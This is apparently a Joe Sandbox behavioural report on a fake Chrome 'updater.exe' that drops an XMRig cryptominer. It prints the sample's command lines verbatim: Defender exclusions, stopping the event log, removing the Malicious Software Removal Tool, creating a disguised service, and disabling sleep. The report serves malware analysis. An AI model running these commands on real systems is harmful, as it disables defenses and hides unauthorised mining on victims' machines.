Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff7b4cb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:45:01
Start date:	22/07/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff654030000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:45:01
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:45:01
Start date:	22/07/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff654030000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:45:01
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:45:01
Start date:	22/07/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff654030000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:45:01
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:45:01
Start date:	22/07/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff654030000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:45:01
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:45:01
Start date:	22/07/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff64bbc0000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:45:01
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:45:01
Start date:	22/07/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
Imagebase:	0x7ff6b9630000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:45:02
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:45:02
Start date:	22/07/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
Imagebase:	0x7ff6b9630000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:45:02
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:45:02
Start date:	22/07/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff6b9630000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:45:02
Start date:	22/07/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
Imagebase:	0x7ff6b9630000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:45:02
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:45:02
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:45:02
Start date:	22/07/2024
Path:	C:\ProgramData\Google\Chrome\updater.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\Google\Chrome\updater.exe
Imagebase:	0x7ff76b5f0000
File size:	5'285'888 bytes
MD5 hash:	D82677AC9971E38439A6F8069E8BA5BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 66%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:45:02
Start date:	22/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 1848, Parent PID: 3304

General

Target ID:	26
Start time:	09:45:02
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:45:04
Start date:	22/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff7b4cb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powercfg.exePID: 3688, Parent PID: 1896

General

Target ID:	28
Start time:	09:45:04
Start date:	22/07/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff654030000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	09:45:04
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	09:45:04
Start date:	22/07/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff654030000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	09:45:04
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	09:45:04
Start date:	22/07/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff654030000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	09:45:04
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	09:45:04
Start date:	22/07/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff654030000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	09:45:04
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	09:45:04
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	09:45:04
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	09:45:04
Start date:	22/07/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff64bbc0000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	09:45:04
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	conhost.exe
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000027.00000002.3249654814.000002862EC04000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000027.00000002.3249654814.000002862EC16000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000027.00000003.2729862472.000002862EC1F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000027.00000002.3248257230.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000027.00000002.3248257230.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	09:45:40
Start date:	22/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FF63B2A1140 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2081627349.00007FF63B2A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF63B2A0000, based on PE: true

Associated: 00000000.00000002.2081611402.00007FF63B2A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081645258.00007FF63B2B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081662344.00007FF63B2B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081677711.00007FF63B2B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082305199.00007FF63B7AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082331377.00007FF63B7AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff63b2a0000_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1e4022c18fa16e3e9a3d29658a0d364776453269cc35455d63d742f7aed96e6
Instruction ID: 3e76c43c050768b97bdff2d0aed4db2ceff58cd0a595809b9bdd6889517b5b4c
Opcode Fuzzy Hash: f1e4022c18fa16e3e9a3d29658a0d364776453269cc35455d63d742f7aed96e6
Instruction Fuzzy Hash: 03B01234E0430984E7016F01D9413783B60AB2D741F400531C48C43372CE7D50409F50

Analysis Process: updater.exePID: 1896, Parent PID: 632COMMON

Executed Functions

Function 00007FF76B5F1140 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2107612337.00007FF76B5F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF76B5F0000, based on PE: true

Associated: 00000018.00000002.2107587416.00007FF76B5F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2107656175.00007FF76B602000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2107685368.00007FF76B606000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2107889147.00007FF76B885000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2108149834.00007FF76BAFB000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2108168937.00007FF76BAFE000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff76b5f0000_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1e4022c18fa16e3e9a3d29658a0d364776453269cc35455d63d742f7aed96e6
Instruction ID: d6abab9816923c621933184a67c984d748bd0ad1d4ba124482e30b86fd799d2a
Opcode Fuzzy Hash: f1e4022c18fa16e3e9a3d29658a0d364776453269cc35455d63d742f7aed96e6
Instruction Fuzzy Hash: 5EB012B0D04309C4E3013F0AD841398B2616F1A740FC00031C40C03373CE7E64408F30

Analysis Process: conhost.exePID: 2568, Parent PID: 1896COMMON

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	13.8%
Total number of Nodes:	899
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryInformationFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7

Memory Dump Source

Source File: 00000024.00000002.3248255656.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000024.00000002.3248231403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248288460.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248349670.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248369050.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140000000_conhost.jbxd

Similarity

API ID: FileInformationQuery
String ID:
API String ID: 365787318-0
Opcode ID: 36523fda6eca0ee512bde486ae1e8954491fab6c76cc6521f032f1d5cf9c1036
Instruction ID: c5c377e216d660e8bb6bb0cefb1630b72abf422e51d1fd79f54a2d93a1040c4d
Opcode Fuzzy Hash: 36523fda6eca0ee512bde486ae1e8954491fab6c76cc6521f032f1d5cf9c1036
Instruction Fuzzy Hash: 6AF0AFB2608B408AEA12DF62F85179A77A5F38C7C0F009919BBC853735DB3CC190CB40

Non-executed Functions

Function 0000000140003250 Relevance: 152.6, APIs: 62, Strings: 24, Instructions: 2072COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00000001400033E9
memset.MSVCRT ref: 0000000140003515
wcslen.MSVCRT ref: 000000014000357E
_wcsnicmp.MSVCRT ref: 00000001400035A9
wcslen.MSVCRT ref: 00000001400035B9
wcscpy.MSVCRT ref: 000000014000369E
wcscat.MSVCRT ref: 00000001400036AD
memset.MSVCRT ref: 00000001400036BE
wcscpy.MSVCRT ref: 0000000140003721
wcscat.MSVCRT ref: 0000000140003730
memset.MSVCRT ref: 0000000140003744

Strings

\Registry\Machine\SYSTEM\CurrentControlSet\Services\GoogleUpdateTaskMachineQC, xrefs: 0000000140004F1C, 0000000140005FA9
SYSTEMROOT=, xrefs: 0000000140003577, 0000000140003590
NVIDIA, xrefs: 00000001400044D7
ATI, xrefs: 000000014000457F
\sc.exe, xrefs: 0000000140003E13
\BaseNamedObjects\paiwqsbipblamcnmtpdktrir, xrefs: 0000000140005188
\??\, xrefs: 0000000140004723
ProviderName, xrefs: 0000000140004037
PROGRAMDATA=, xrefs: 0000000140003905, 0000000140003BAE
\System32, xrefs: 00000001400036A3
\cmd.exe, xrefs: 0000000140003726
\BaseNamedObjects\bzoteldvymki, xrefs: 00000001400033DF
\??\, xrefs: 0000000140004977
, xrefs: 00000001400047B7
\reg.exe, xrefs: 0000000140003D9D
\BaseNamedObjects\vazasxarlpknfxrw, xrefs: 0000000140004B54
\Google\Chrome\updater.exe, xrefs: 0000000140003D14
ImagePath, xrefs: 0000000140005009
\WindowsPowerShell\v1.0\powershell.exe, xrefs: 0000000140003874
, xrefs: 0000000140005B96
\Registry\Machine\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\, xrefs: 0000000140003F8D, 00000001400061DA
Advanced Micro Devices, xrefs: 000000014000434A
AMD, xrefs: 000000014000452B
Start, xrefs: 0000000140005CE7

Memory Dump Source

Source File: 00000024.00000002.3248255656.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000024.00000002.3248231403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248288460.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248349670.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248369050.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140000000_conhost.jbxd

Similarity

API ID: memsetwcslen$wcscatwcscpy$_wcsnicmp
String ID: $ $AMD$ATI$Advanced Micro Devices$ImagePath$NVIDIA$PROGRAMDATA=$ProviderName$SYSTEMROOT=$Start$\??\$\??\$\BaseNamedObjects\bzoteldvymki$\BaseNamedObjects\paiwqsbipblamcnmtpdktrir$\BaseNamedObjects\vazasxarlpknfxrw$\Google\Chrome\updater.exe$\Registry\Machine\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\$\Registry\Machine\SYSTEM\CurrentControlSet\Services\GoogleUpdateTaskMachineQC$\System32$\WindowsPowerShell\v1.0\powershell.exe$\cmd.exe$\reg.exe$\sc.exe
API String ID: 3506639089-941377090
Opcode ID: 0cda6c72a2f06585f01c0bb1b43b4488e8f849583809ff9edc4bdafd39976df0
Instruction ID: ef81d73e35cacb278a3ce7412ee70fca3090d70b6629413a1a3bc68791ba6f30
Opcode Fuzzy Hash: 0cda6c72a2f06585f01c0bb1b43b4488e8f849583809ff9edc4bdafd39976df0
Instruction Fuzzy Hash: 265339F1924BC198F723CB3AB8467E56360BB9D3C8F445316BB84676B2EB794285C305

Function 00000001400027D0 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 376
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0000000140002810
wcsncmp.MSVCRT(00000000,?,00000000,\BaseNamedObjects\vazasxarlpknfxrw,00000030,00000000,?,?,000000014000542D), ref: 00000001400029E4
memset.MSVCRT ref: 0000000140002AAC
wcscpy.MSVCRT ref: 0000000140002B15
wcscat.MSVCRT ref: 0000000140002B20
wcslen.MSVCRT ref: 0000000140002B28
wcslen.MSVCRT ref: 0000000140002B40
wcslen.MSVCRT ref: 0000000140002BA0
wcslen.MSVCRT ref: 0000000140002BF2

Strings

\BaseNamedObjects\vazasxarlpknfxrw, xrefs: 00000001400027D8
X, xrefs: 0000000140002D83
0, xrefs: 00000001400029E9
`, xrefs: 0000000140002D9B

Memory Dump Source

Source File: 00000024.00000002.3248255656.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000024.00000002.3248231403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248288460.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248349670.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248369050.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140000000_conhost.jbxd

Similarity

API ID: wcslen$memset$wcscatwcscpywcsncmp
String ID: 0$X$\BaseNamedObjects\vazasxarlpknfxrw$`
API String ID: 780471329-3676218624
Opcode ID: b56d83db8cdb47bce62b63e0037989871a34e5e5dd9058d4d1577b6850bedc45
Instruction ID: bd1111813274a2185e4a5405d25f62c07457be827839ad4c247fbb5e796227d6
Opcode Fuzzy Hash: b56d83db8cdb47bce62b63e0037989871a34e5e5dd9058d4d1577b6850bedc45
Instruction Fuzzy Hash: FA1259B2618B8481E762CB1AF8443EA77A4F789794F418215EBAC57BF5DF78C189C700

Function 0000000140001160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,0000000140001156), ref: 00000001400011A5
_amsg_exit.MSVCRT ref: 00000001400011CC
_initterm.MSVCRT ref: 000000014000120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,0000000140001156), ref: 000000014000124E
malloc.MSVCRT(?,?,?,0000000140001156), ref: 000000014000127E
strlen.MSVCRT ref: 00000001400012A4
malloc.MSVCRT(?,?,?,0000000140001156), ref: 00000001400012B0
memcpy.MSVCRT ref: 00000001400012C3
_cexit.MSVCRT ref: 000000014000132D

Memory Dump Source

Source File: 00000024.00000002.3248255656.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000024.00000002.3248231403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248288460.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248349670.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248369050.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140000000_conhost.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: d1db83e79def031ab80d1deba41aed6449390b13d4d6d748f75fc006707f133e
Instruction ID: 4457a89b35f4aef33ffd38620d4ede58944eca37ecfc9223689a444f894f5de4
Opcode Fuzzy Hash: d1db83e79def031ab80d1deba41aed6449390b13d4d6d748f75fc006707f133e
Instruction Fuzzy Hash: 855101F1615A4485FA16EF27F9947EA27A1BB8C7D0F449125FB4D873B2DF3884958300

Function 0000000140001BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

